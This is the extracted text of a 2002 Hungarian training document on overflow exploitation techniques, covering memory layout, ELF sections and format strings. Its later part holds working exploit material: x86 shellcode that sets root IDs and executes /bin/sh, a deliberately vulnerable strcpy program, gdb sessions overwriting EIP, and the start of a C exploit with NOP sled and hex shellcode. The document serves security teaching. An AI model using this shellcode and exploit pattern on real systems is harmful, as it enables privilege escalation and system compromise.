Informatika | Informatikai biztonság » Overflow technikák

Alapadatok

Év, oldalszám:2002, 40 oldal

Nyelv:magyar

Letöltések száma:776

Feltöltve:2004. július 03.

Méret:202 KB

Intézmény:
-

Megjegyzés:

Csatolmány:-

Letöltés PDF-ben:Kérlek jelentkezz be!



Értékelések

Nincs még értékelés. Legyél Te az első!

Tartalmi kivonat

O v er f l ow t ec h nik ák SaveAs O k ta t á s i A n y a g overflow technikák Készült: 2002 március 1. A dokumentum a fedőlappal együtt 40 számozott oldalt tartalmaz. O v er f l ow 1. TARTALOMJEGYZÉK OKTATÁSI ANYAG 1 1. TARTALOMJEGYZÉK 2 2. BEVEZETŐ 4 2.1 Célkitűzés 4 2.2 Adatbiztonságról általában 4 2.3 Az overflow technológiák osztályozása 5 2.4 Történelmi áttekintés 6 3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL 7 3.1 Az etikátlan felhasználás 7 3.2 Az etikus felhasználás 8 4. ALAPOK 9 4.1 Memóriakezelés 4.11 Stack 4.12 Heap 9 10 11 4.2 Regiszterek 11 4.3 Processzek (feladatok) felépítése 12 4.4 Processzek (feladatok) futása 12 4.5 Format stringek 13 5. SHELL KÓDOK 5.1 5.11 6. OVERFLOW TÍPUSOK 6.1 Stack Overflow 6.11 Frame Pointer Concept 6.12 Példa program 6.13 Védekezés SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1)

2221222 14 14 14 17 17 17 17 21 2. oldal, összesen: 40 O v er f l ow 6.2 Heap Overflow 6.21 A Heap felülírásának módja 6.22 Példa program 6.23 A hiba kihasználása 6.24 Védekezés 22 22 23 24 27 6.3 .dtors Overflow 6.31 A dtors felülírása 6.32 Példa program 6.33 A hiba kihasználása 6.34 Védekezés 27 27 29 29 31 6.4 Format String overflow 6.41 Példa program 6.42 A hiba kihasználása 6.43 Védekezés 32 32 32 36 6.5 Egyéb lehetőségek 6.51 Felülírható memóriaterületek 6.52 Védekezés 37 37 38 7. FELHASZNÁLT IRODALOM 39 8. EGYÉB 40 8.1 Jelen dokumentum közlése 8.11 Az információk minőségéről 40 40 8.2 CopyRight 8.21 Kizárólagos jogok Hasznosítás és többszörözés Nyilvánossághoz való közvetítés és idézés Oktatás Minden más esetben 40 40 40 40 40 40 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 3. oldal, összesen: 40 O v er f l ow

2. 2.1 BEVEZETŐ Célkitűzés Jelen tanulmány célja, hogy a biztonságtechnikai fejlesztésekkel, kutatással, megvalósítással foglalkozó szakembereknek bemutasson egy olyan technológiát, technológiai hátteret, melynek megértésével szakmai feladataikat jobban elláthassák, valamint a potenciális veszélyforrásokat hatékonyabban, gyorsabban felismerjék. A dokumentum feltételez minimális rendszerismeretet, C és Assembly programozási tudást, ugyanakkor a technológia megértéséhez nem elengedhetetlenül szükségesek a fentiek. A példaprogramok Linux operációs rendszeren készültek. A dokumentumnak nem célja, hogy teljes és átfogó ismereteket nyújtson az Overflow típusú hibák kihasználásához, valamint ezt a veszélyes technológiát megtanítsa, de célja, hogy megismertesse az érdeklődőkkel minden esetben egy - kiragadott, egyszerű, azonban a valóságban ritkán, vagy egyáltalán nem előforduló - példát alapul véve. 2.2

Adatbiztonságról általában Napjaink egyik fenyegető kihívása, hogy az adatainkat, szolgáltatásainkat a lehető legnagyobb biztonságba tudjuk adatvédelmi és rendszerbiztonsági – üzemeltetési oldalról egyaránt. Ez nem csak erkölcsi fenyegetettséget, de egyre inkább jól megfogalmazható üzleti érdeket is tartalmaz. Fontos, hogy futtatott alkalmazásaink nem csak funkcionalitásukban, de biztonsági szolgáltatásaikban is betartsák az elvárható maximumot és megfeleljenek a nemzetközi standardoknak. A biztonsági kutatások publikált eredményeinek köszönhetően egyre szűkülnek a fehér foltok, mégsem mondhatjuk, hogy az alkalmazások, a futtató környezetek hibátlanok. Gondoljunk bele! Pár évvel ezelőtt teljesen biztonságos módszernek számított a „telnet” protokollon keresztüli távoli menedzsment, míg valaki rá nem mutatott, hogy a továbbított adatok – a jelszavakkal együtt – lehallgathatóak (sniffelhetőek). Kiderültek olyan

hibaforrások, melyekkel régen, az eredeti koncepcióban nem is kellett foglalkozni, az alkalmazott környezetben elő sem fordulhattak. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 4. oldal, összesen: 40 O v er f l ow Helyezzük most a hangsúlyt a programozói hibák kihasználására! A biztonságos fejlesztő eszközök, biztonságos (minősített) programozáshoz szükséges standardok rendelkezésre állnak. Komoly hozzáférési modelleket is kidolgoztak az adatok védelme érdekében. Nem garantálható ugyanakkor, hogy ezek teljes betartása esetén sem maradnak a programsorok között olyan elemek, amelyek megfelelő paraméterezéssel a programot illegális működésre bírják. A programok (processzek, folyamatok) működése, felépítése történelmi, úgy is mondhatnánk architektúrális örökség. Nem csak az alkalmazásoknak, hanem a futtató környezetnek is együtt kell élni vele.

Gondoljunk csak az Intel processzorok néhai „f00f”1 hibájára. Egy-egy ilyen rejtett, de kihasználható hibát nem csak az alacsony rétegen futó mikro kódok, de az alkalmazások is tartalmazhatnak, és sok esetben egy rosszul felépített logikai csapda, rosszul paraméterezett utasítás is lehet egy kihasználható hiba forrása. 2.3 Az overflow technológiák osztályozása A legtipikusabb programozói hiba által indukált kihasználható támadási felület az overflow lehetősége. Ezeknek a hibáknak a gyökere minden esetben a nem megfelelően védett vagy mozgatott memória területekben keresendő. Maga az overflow szó is felülírást, felülcsordulást jelent. A technológia nem mai keltezésű, csak a vállfajai lehetnek újak. Általánosságban elmondhatjuk, hogy ezek kihasználhatósága nem minden esetben adott. Egy overflow típusú hibáról csak akkor mondhatjuk el, hogy kihasználható – és a kihasználásának van is értelme - ha a következő

kritériumok is teljesülnek: a Az alkalmazás egy belső változója felett részleges, vagy teljes vezérlést lehet szerezni és ennek segítségével a deklarált jogokat növelni. a Az alkalmazást illegális művelet végrehajtására lehet bírni. a Az alkalmazás olyan jogokkal rendelkezik megszerzésével a rendszer kompromittálható. futásidőben, amelynek a Az alkalmazás feletti kontroll megszerzésével dedikált jogosultságok növelhetőek. a Az alkalmazás segítségével meghatározható műveletsor indukálható a jövőben. 1 Az intel processzorok tartalmaztak egy „f00f bug” néven elhíresült hibát. A hiba lényege az volt, hogy a processzor az „F0 0F C7 C8” utasítás-szekvencia dekódolásakor a LOCK CMPXCHG8B EAX műveletsort kapta, amelyből a CMPXCHG8B utasítás 64 bites összehasonlítása az EDX:EAX tartalmának és egy memóriaterületnek. Mivel létezik olyan EDX:EAX tartalom, amely nem a memória egy részére mutat, így a processzor

illegális utasítást generál. Ugyanakkor mivel az utasítás LOCK előtaggal rendelkezik, a processzor mikro kódja feloldhatatlan holtpontba ütközik, nem tud tovább funkcionálni. Bővebben: http://x86.ddjcom/errata/dec97/f00fbughtm SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 5. oldal, összesen: 40 O v er f l ow Megállapíthatjuk, hogy egy hiba kihasználhatósága nagyban függ a hiba és a hibát tartalmazó folyamat környezetétől. Nem mondhatjuk ugyanakkor, hogy egy hiba megléte, de a környezet hiányossága mellett a hiba nem biztonsági rés. A folyamatos kutatások eredményei alátámasztják azt a tényt, hogy a hibák jelen tudás szerinti kihasználhatatlansága nem nyújthat garanciát mindörökké. 2.4 Történelmi áttekintés Az első overflow típusú hiba felfedezése 1980 környékére datálódik, a szakirodalom ettől az évtől ismeri a Stack Overflow fogalmát. A

veszély realizálódása azonban 1995-ig váratott magára. Az akkoriban sokaknak újnak számító technológia végigsöpört a világ biztonsági laborjain. A legtöbbet hivatkozott publikációt 1996-ban Aleph One publikálta2 „Smashing The Stack For Fun and Profit”3 címen, majd ezt követték 1997-ben „How to Write Buffer Overflows”4 címen Murge, és „Stack Smashing Vulnerabilities in the UNIX Operating System”5 címen Nathan P. Smith, majd 1998-ban „The Tao of Windows Buffer Overflows”6 címen DilDog publikációi. Ezek a tanulmányok mind a Stack Overflow hibákról értekeztek. A következő áttörést 1998 környékén a Heap Overflow típusú hibák jelentették. Az első tanulmányok egyikét a w00w00 Security Team publikálta 1999-ben „w00w00 on Heap Overflows”7 címen. Ez a technológia kicsit bonyolultabb volt, mint a Buffer Overflow, hiszen a különböző memóriacímek futásidőben kerültek meghatározásra, így sok esetben jelentősen

megnehezítve a kihasználást, és megkönnyítve a felderítést. 1999 végén aztán egy ELF szerkezeti hibát kihasználva felmerült a „.dtors” típusú overflow lehetősége, amelyről Juan M Bello Rivas adott ki 2000 elején egy tanulmányt „Overwriting the .dtors section”8 címen. A következő áttörést a 2000 végén felfedezett Format String Overflow technika jelentette, amely ismét rengeteg fejtörést okozott a fejlesztőknek. A témában a TESO Security Team 2001 elején közölt egy publikációt „Exploiting Format String Vulnerabilities”9 címen. 2 Az Aleph One által kiadott tanulmány akkora sikernek örvendett, hogy nagyon sok publikált exploit kódban a mai napig az általa írt Shell kód található. 3 http://www.cseogiedu/DISC/projects/immunix/StackGuard/profithtml 4 http://www.l0phtcom/advisories/buferohtml 5 http://destroy.net/~nate/machines/security/nate-bufferps 6 http://www.cultdeadcowcom/cDc files/cDc-351/ 7

http://www.w00w00org/files/articles/heaptuttxt 8 http://julianor.tripodcom/dtorstxt 9 http://julianor.tripodcom/teso-fs1-1pdf SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 6. oldal, összesen: 40 O v er f l ow 3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL Már az eddigiekből is kiderül, az overflow technológia használata kétélű fegyver. Használata, kihasználása csak azon múlik, aki alkalmazza. A következőkben látni fogjuk, hogy a kutatás mellett mennyire fontos szerepe van a védekezésben, és a bizonyítási eljárásokban éppúgy, mint a kód-, rendszer átvizsgálások során, és mekkora veszélyt jelenthetnek egy nem kontrollált támadás során. 3.1 Az etikátlan felhasználás A digitális társadalom fejlődésével mind fokozottabb veszélynek vannak kitéve azok az alkalmazások, szolgáltatások, amelyeknek kompromittálódása erkölcsi, anyagi kárt jelenteke mind az

üzemeltetőknek, mind a felhasználóknak. A biztonsági hiányosságokat kihasználó felhasználó, rosszindulatú támadó sok esetben alkalmazza az overflow technológiák egyikét. Egy rosszul, vagy csak hiányosan védett rendszerben végtelen károkat képes okozni egy ilyen hiányosság. Könnyű belátni, hogy egy teljesen digitális társadalomban – ahol a személyes információktól elkezdve a szociális hálót működtető infrastruktúrák vezérlése, számlainformációk, sőt, gazdasági döntéseket elősegítő adatok is digitálisan vannak tárolva – mekkora gondot okozhat ezen adatoknak a sérülése. De az etikátlan felhasználás nem csak adatok sérülését jelenti. Az adatlopás, adatmanipulálás, jogosulatlan hozzáférés napjaink problémája is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 7. oldal, összesen: 40 O v er f l ow 3.2 Az etikus felhasználás A biztonsági

fejlesztések, kutatások, auditok fontos eleme a tesztelés, és a bizonyítás. Egy biztonsági átvizsgálásnál elengedhetetlenül fontos, hogy felismerjük, és analizáljuk az esetleges hibákat, a hibák kihasználásának lehetőségeit. A kijelentéseinket alá is kell támasztani A kód audit vagy egy penetration test során talált overflow típusú hibának a kihasználására írt minta alkalmazást hívjuk „proof-of-concept” kódnak. Ez a kód szolgál arra, hogy bebizonyítsuk a hiba létét, előremutat a hiba kihasználhatósági területeire, de nem tartalmaz olyan részt, amellyel kárt lehet okozni. Sok esetben a publikált „proof-of-concept”10 kódok hibásak annak elkerülésére, hogy a kód illetéktelen kézbe kerülése sem jelentsen veszélyt az információs társadalomra. Ezek a kódok szolgálnak az átvizsgálási jegyzőkönyvek bizonyítékául. 10 Népszerű biztonsági réseket publikáló lista a Bugtraq néven elhíresült – a

Securityfocus.com által fenntartott – levelezőlista és a – szinten a Securityfocus.com által fenntartott – SecurityFocus biztonsági portál (http://wwwsecurityfocuscom) Az itt előforduló publikációk olykor heves vitákat váltanak ki a közösségen belül. Ezek a viták, és a publikációk veszélyessége vezettek olyan dekrétumok bevezetéséhez, mint a „Full Disclosure” és a „Non Disclosure”. A „Full Disclosure” (Teljes közlés) irányzat támogatói a hibák publikálása mellett, míg a „Non Disclosure” (Hallgatás) irányzat támogatói a hibák titokban tartása mellett foglalnak állást többször egy irányzaton belül is különböző okokból. A „Full Disclosure” mellett foglalt állást például a SecurityFocuscom (http://online.securityfocuscom/news/238) A „Non Disclosure” mellett foglalt állást például a Microsoft (http://online.securityfocuscom/news/277) sőt, egy alternatív hacker csoport is (http://antisecurityis)

Érdekes látni a választás okai közötti különbséget. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 8. oldal, összesen: 40 O v er f l ow 4. 4.1 ALAPOK Memóriakezelés A folyamatok futásuk során kezelt, vagy futás közben generálódott adataik kezelésére memóriát használnak. A memória kezelése többféle módon valósulhat meg. A klasszikus memóriakezelési x86 modellben három, egymástól jól elkülönülő memóriaterületet definiáltak: a Stack szegmens a Kód szegmens a Adat szegmens Az idők során az adatszegmens több külön részre kellett bontani, így a mai modellekben az adat szegmens vagy nem is jelentkezik (a kód szegmens része), vagy a statikusan definiált adatok tárolására használják. Így különvált például az inicializált és a nem inicializált, de a program futásakor létező adatok tárolására szolgáló memóriaterület és a dinamikusan allokált

memóriaterület is (.bss, data, heap) A memória használata körülbelül így néz ki: K ö r n y e z e ti v á lto z ó k , p a ra m é te re k S ta c k U ser S ta c k F ra m e B S S D a ta K ód H eap SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 9. oldal, összesen: 40 O v er f l ow Kód #include <stdio.h> #include <stdlib.h> int a = 1; int b; char *c; void function(void) { int d = 1; int e; char *f; c=(char*)malloc(10); } // .data // .bss // .bss // // // // stack stack stack heap 4.11 Stack A Stack – vagy verem – az a memóriaterület, ahova a rendszer az átmeneti adatokat tárolja. A Stack használata LIFO metódussal történik, azaz, ami utoljára belekerült, az fog először kikerülni. A használatának szemléletére legjobban egy kalapot lehet használni: F olyam at S tack P ointer S tack legfelső elem e A folyamatok ebben a memóriaterületben tárolják a

paramétereket, vagy azok címeit, és a különböző ugrási táblázatokat, rendszerváltozókat. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 10. oldal, összesen: 40 O v er f l ow 4.12 Heap A Heap – vagy halom – memóriaterület a dinamikusan definiált változók tárolására szolgál. Ebben a memóriaterületben foglal helyet magának az összes dinamikus változó futásidőben a malloc() realloc() és egyéb, erre szolgáló utasítások segítségével. 4.2 Regiszterek A folyamatok futásuk során a magas szintű nyelveken definiált változókat lefordítják memóriacímkékre, és azokat különböző regiszterekben tárolják. Ezeket a regisztereket címezhetjük 8, 16 és 32 bites címtartományban is. Azonban nem csak felhasználói regisztereket használ egy rendszer. Regiszterekben tárolja a programok futásával kapcsolatos információkat is. Lássuk, milyen regisztereket

használ a rendszer: Regiszter neve Használat Típus [%al:%ah], [%bl:%bh], [%cl:%ch], [%dl:%dh] 8 bites általános célú regiszter Általános %ax, %bx, %cx,%dx 16 bites általános célú regiszter (LOW-END) Általános %eax, %ebx, %ecx, %edx 32 bites áltatlános célú regiszter Általános %ebp 32 biter Frame Pointer Pointer %esp 32 bites Stack Pointer Pointer %bp 16 bites Frame Pointer (LOW-END) Pointer %sp 16 bites Stack Pointer (LOW-END) Pointer %cs Kód szegmens Segment %ds, %es, %fs, %gs Adat szegmens Segment %ss Stack szegmens Segment %cr0, %cr2, %cr3 Processz kontroll Controll %db0, %db1, %db2, %db3, %db6, %db7 Nyomkövető regiszter Debug %tr6, %tr7 Teszt regiszter %st - %st(0), %st(1), %st(2), %st(3), %st(4), %st(5), %st(6), %st(7) Lebegőpontos regiszterek %eip Aktuális utasításra mutató regiszter SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 Test

Float Stack PSW 11. oldal, összesen: 40 O v er f l ow 4.3 Processzek (feladatok) felépítése Minden folyamatnak kell, hogy legyen egy szerkezete ahhoz, hogy az operációs rendszer azt értelmezni tudja. Minden folyamat fordításkor megkapja azokat a területeket, amelyek a későbbiekben fontos lehet a működése során. A teljesség igénye nélkül nézzük meg egy ELF bináris fontosabb területeit: 4.4 .interp Elérési út a program interpreteréhez .hash Szimbólum hash tábla .dynsym Dinamikusan Linkelt szimbólum tábla .dynstr A dinamikus linkeléshez szükséges stringek .init Inicializáló kód .plt Függvény link tábla .text Futtathatósági instrukciók .fini A folyamat futásának végén lefutó kód .rodata Csak olvasható adat .data Inicializált adatok, amik jelen vannak fordításkor .got Általános OFFSET tábla .dynamic Információk a dinamikus fordításhoz .bss Nem inicializált adatok .stabstr A szimbólum

táblához rendelt nevek .comment Megjegyzések (fordító, verzió kontroll) .note Fájl megjegyzések .ctors Konstruktor .dtors Destruktor Processzek (feladatok) futása Ahogy az már az eddigiekből is kiderült, a folyamatok futása nem szekvenciális. Léteznek olyan utasítások, amelyek a futó kódot elágaztatják, elugratják, vagy megszakítják a futását. Ilyen utasítások a JMP (feltétel nélküli ugrás), JNZ, JNE (feltételes ugrások), vagy a CALL (szubrutin hívás). Az olyan speciális esetekben, mint a CALL szükség van egy visszatérési értékre is, hiszen a szekvenciális futás megszakadt ugyan, de az elágazás után vissza kell térni az eredeti feladathoz. A fenti probléma megoldására alakult ki a „Frame Pointer SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 12. oldal, összesen: 40 O v er f l ow Concept” (FPC) eljárás, melynek során a visszatérési

értéket a rendszer elhelyezi a Stack területen, majd a szubrutin visszatértekor onnét felveszi azt. Bővebben lásd a FPC leírásánál. A folyamatok futása során fontos egy regiszter értéke is. A rendszer a futás aktuális helyzetét a %EIP regiszterben tárolja Ez a regiszter csak olvasható. Fontos megjegyezni azt is, hogy ellentétben a kernel által használt memóriaterületekkel, a felhasználói memória nem folytonos. 4.5 Format stringek A folyamatoknak lehetősége van futásidőben formázott kimenetet biztosítani a felhasználók felé a program belső változóiról. Erre a feladatra használjuk a formázó karaktersorozatokat. A formázó karakterek segítségével lehetőségünk van ugyanakkor speciális konverziók elvégzésére is, mint például numerikus értékek karaktersorozattá alakítása, számrendszerváltás, vagy akár numerikus értékek kaszttolása11 is. A formázó karakterektől a következő táblázat ad rövid összefoglalót: Kód

Formátum %c Karakter %d Előjeles decimális szám %i Előjeles decimális szám %e Tudományos jelölése %f Lebegőpontos szám %o Előjel nélküli oktális %s Karakterlánc %u Előjel nélküli decimális szám %x Előjel nélküli hexadecimális szám %p Mutató megjelenítése (pointer) %n Integer mutató (ált. az eddig kiirt karakterek száma) %% % jel 11 Minden folyamatban a numerikus értékeknek kasztja – típusa – van. Ezek a típusok meghatározzák, hogy a szám hány biten, és milyen formában van tárolva. A legismertebb kasztok az int (16 bites egész), long int (32 bites egész), float (16 bites lebegő pontos), double (32 bites lebegőpontos), stb. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 13. oldal, összesen: 40 O v er f l ow 5. SHELL KÓDOK 5.1 5.11 Shell kódnak azt a bináris adatfolyamot nevezzük, amely megfelelő körülmények között

futásidőben egy folyamat részévé válik, és megfelelő körülmények között meghívva a támadó számára kívánatos cselekvéssort hajtja végre. Megírása hatalmas arhitekturális és programozói ismereteket igényel, hiszen meg kell felelni a hibás rendszer összes vélt vagy valós, tervezett vagy adott védelmi mechanizmusának. Tipikusnak mondható shell kód feladatok a következőek: a Program indítása (pl.: execve() függvény) a Könyvtár létrehozása (pl.: mkdir() függvény) a Fájl létrehozása (pl.: open(),close() függvények) a Fájl módosítása (pl.: open(),write(),read(),close() függvények) a Socket kezelés (pl.: bind(),connect(),listen() függvények) A kód futása érdekében a feladatok megoldására minden esetben rendszerhívásokat kell alkalmazni, hiszen a nem rendszerhívások címei nem ismertek. Nem alkalmazhatjuk tehát a „call” direktívát Figyelembe kell vennünk azt is, hogy a beinjektált shell kód konverziókon fog

keresztülmenni, amik során a kód nem, vagy csak kívánatos módon módosulhat. A kívánatos módosulás kiszámolását más néven „reverse engeenering-nek” is hívjuk. Vegyünk pár példát! A legegyszerűbb eset, a sima strcpy() másolása az injektált kódnak. Ebben az esetben a függvény ’’ termináló karakterig másolja a string tartalmát a cél memóriaterületre. Tehát elkerülendő, hogy a shell kód ilyen karakter szekvenciát tartalmazzon. Előfordulhat olyan speciális eset is, amelynek során csak minden 16 bites szó alsó bájt-ját tudjuk kontrollálni, és a felső bájt fix. Olyan eset is lehetséges, hogy a beinjektált szekvencia átesik egy karakterkonverzión, mely során kisbetűből nagybetű, illetve nagybetűből kisbetű lesz. Ennél a pontnál némely esetben nem csak az eltolódást kell figyelembe venni, hanem bele kell férni a szabvány ASCII karakterek által nyújtott operátor kódokba is. Bonyolultabb esetekben gyakran nyúlnak a

fejlesztők a vírusírást SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 14. oldal, összesen: 40 O v er f l ow idéző technológiákhoz, amely során egy eljárás segítségével a kívánt formára alakítják a szekvenciát, majd egy dekódoló eljárással bontják ki a kívánt formára. A sokkal rövidebb dekódoló eljárás természetesen megfelel a tesztelt rendszer követelményeinek. Esetünkben nem fogjuk túlbonyolítani a Shell kód követelményeit, és nem is használjuk ki minden lehetőségét. A példákban az egyetlen követelmény; nem tartalmazhat a kód ’’ szekvenciát. A tevékenység is elhanyagolható, be kell állítani a jogosultságokat (UID=0; EUID=0; GID=0; EGID=0), és el kell indítani egy programot. Tehát szükségünk lesz egy setreuid(), egy setregid() és egy execve() rendszerhívásra. A kód a paraméterek összeállítására a Stack memóriát használja, így

kikerülve a memóriacímek minimális ismeretének szükségességét is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 15. oldal, összesen: 40 O v er f l ow Kód .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp // SYS setreuid->setreuid(uid t ruid, uid t euid) // Proto: kernel/sys.c // %eax -> SYS call NR // %ebx -> uid t ruid // %ecx -> uid t euid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcb,%al int $0x80 // SYS setregid->setregid(gid t rgid, gid t egid) // Proto: kernel/sys.c // %eax -> SYS call NR // %ebx -> gid t rgid // %ecx -> gid t egid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcc,%al int $0x80 // Proto: arch/i386/kernel/process.c // %eax -> SYS call NR // %ebx -> char * filename; // %ecx -> const char *argv[]; // %edx -> const char *envp[]; // const char *envp[] = { NULL }; xorl %edx,%edx pushl %edx // the

string 2f 62 69 6e 2f 2f 73 68 // / b i n / / s h // ! reverse order ! pushl $0x68732f2f // char *filename = "/bin//sh"; pushl $0x6e69622f // const char *argv[] = { "/bin//sh","NULL" }; movl %esp,%ebx pushl %edx pushl %ebx movl %esp,%ecx leal 0xb(%edx),%eax int $0x80 ret Az itt felvázolt kódból a használathoz egy stringet, karaktersort kell generálnunk. Ezt a legkönnyebbek a kód lefordításával, majd vizsgálatával érhetjük el. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 16. oldal, összesen: 40 O v er f l ow 6. 6.1 OVERFLOW TÍPUSOK Stack Overflow 6.11 Frame Pointer Concept A folyamatok a futásuk során minden funkció hívásakor el kell, hogy tárolják a visszatérési értéket. Ezt az értéket a folyamatok a funkció hívásakor FPC használata esetén a Stack memóriaterületen helyezik el, és visszatéréskor onnét veszik fel. Könnyen belátható

tehát, hogy a koncepció alkalmazása mellett a Stack-en található visszatérési érték felülírásával a program futása felett kontroll szerezhető. Ezt a koncepciót az alkalmazások gyakran használják a futásidőben történő címmeghatározásra. A következő példaprogramban bemutatjuk, hogy a „main” eljárásból meghívott „function” eljárás felveszi egy „popl” utasítás segítségével a Stack-ről a visszatérési értéket, betölti azt a „%eax” regiszterbe, majd visszateszi a normális működés érdekében és visszatér a hívó eljárásba. Kód .text .align 4 .globl function .type function,@function function: popl %eax pushl %eax leave ret .globl main .type main,@function main: pushl %ebp movl %esp,%ebp subl $8,%esp call function leave ret 6.12 Példa program Amint az a fenti példában is látszik, a folyamatok megszakításakor a visszatérési érték a stack memóriaterületen helyezkedik el. Az eddigiekből az is látszik, hogy

létezik olyan változónak szóló memóriafoglalás, amely szintén ezen a területen helyezkedik el. A két feltételezésből egyértelműen következik, hogy amennyiben a változó felett nem teljes a kontroll, a futó programot hibás működésre lehet kényszeríteni. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 17. oldal, összesen: 40 O v er f l ow Az alábbi példaprogram egy ilyen esetet próbál vázolni. A paraméterként kapott változót öt bájtos memóriaterületre próbáljuk bemásolni úgy, hogy a kapott változó valódi hosszúságát nem ellenőrizzük. Kód #include <stdio.h> int main(int argc, char *argv) { char buf[5]; if(argc != 2) { printf("Usage: %s <param> ",argv[0]); return -1; } strcpy(buf,argv[1]); printf("Got: "); printf(buf); printf(" "); return 0; } A hiba kihasználásának érdekében egy rövid tesztelést kell végezni. A

tesztelés során megállapítjuk, hogy mekkora az a méret, amely a programban hibás, de általunk kontrollált működést idézhet elő, illetve meg kell vizsgálnunk, hogy melyik az a memóriacím, ahova be tudjuk illeszteni az általunk futtatandó kódot úgy, hogy valósan le is fusson. Minta $ gdb sample (gdb) b main Breakpoint 1 at 0x8048476: file sample.c, line 6 (gdb) r AAAAA Starting program: sample AAAAA Breakpoint 1, main (argc=2, argv=0xbffff724) at sample.c:6 6 if(argc != 2) { (gdb) x argv[1] 0xbffff8b7: 0x41414141 (gdb) x buf 0xbffff6b4: 0x4000ab50 [] $ ./sample `perl -e print "A"x16;` Got: AAAAAAAAAAAAAAAA segmentation fault (core dumped) ./sample `perl -e print "A"x16;` $ gdb sample core Program terminated with signal 11, Segmentation fault. Cannot access memory at address 0x400153b4 #0 0x41414141 in ?? () (gdb) info registers eip eip 0x41414141 0x41414141 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol

utca 38. Tel / Fax: (1) 2221222 18. oldal, összesen: 40 O v er f l ow A vizsgálat során megállapítottuk, hogy a hibát tartalmazó példa programba két memóriaterület is található, ahová beilleszthetjük a futtatandó kódunkat. Ez a két cím a „buf” és az „argv[1]” változók címe. Láttuk, hogy a sikeres felülíráshoz egy 16 bájt-os karaktersorozat elég, és így már felülírtuk a visszatérési értéket is, hiszen az EIP regiszter tartalmát fel tudtuk tölteni az „A” betű ASCII kódjával (0x41). Ezek után egy egyszerű kísérletet végezünk, hogy biztosak legyünk a hiba kihasználásának biztosságában. A kísérlet során 16 bájt-on (4 bájt-os mantisszával) a kívánt EIP értéket ismételjük és megvizsgáljuk az eredményt: Minta $ ./sample `perl -e print "xc3xf6xffxbf"x4;` Got: Ăö˙żĂö˙żĂö˙żĂö˙ż segmentation fault (core dumped) ./sample `perl -e print "xc3xf6xffxbf"x4;` $ gdb sample core

Program terminated with signal 11, Segmentation fault. 0x4003d306 in libc start main () from /lib/libc.so6 (gdb) info registers eip eip 0xbffff6c3 0xbffff6c3 (gdb) info registers ebp ebp 0xbffff6c3 0xbffff6c3 Láthatjuk, hogy a kapott paraméterek alapján a program futása megváltozott. A kívánt EIP értéket sikerült beállítani. Nincs tehát más dolgunk, mint hogy a megfelelő címre beillesszük a shell kódunkat. Ehhez a jobb megértés érdekében egy C programot fogunk használni. A programban a következő változókat használjuk a következő jelentéssel: a OFFSET - Az eltolási érték. Ennyi bájt szükséges ahhoz, hogy sikeresen felülírjuk az EIP értékét (mindig néggyel osztható szám, mivel a cím négy bájt hosszú), valamint ennyivel kell eltolnunk a rosszul kontrollált változó címéhez viszonyítva shell kód címét. a RET - A visszatérési cím, ahová a shell kódot beinjektáltuk a LEN - Az a hossz, amelyet használni fogunk a paraméter

hosszának. Ebbe a hosszba bele kell férnie az EIP felülírásához szükséges karakternek, valamint a shell kód hosszának is. a NOP - A NOP instrukciót jelentő processzorutasítás (Intel processzorokon 0x90). a Shell - Bináris kód amelynek vezérlést adva a kívánatos cselekvéssort hajtja végre. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 19. oldal, összesen: 40 O v er f l ow a Buffer - A paraméterkén átadott LEN hosszú karaktersorozat, amely tartalmazza OFFSET hosszúságban a RET értékét, a végén a Shell értékét. A kieső részeken NOP értékkel van feltöltve. Kód #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define #define #define #define NOP 0x90 RET 0xbffff6c3 LEN 1024 OFFSET 16 char shell[] = "x29xdb" "x29xc9" "x31xc0" "xb0xcb" "xcdx80" "x29xdb" "x29xc9"

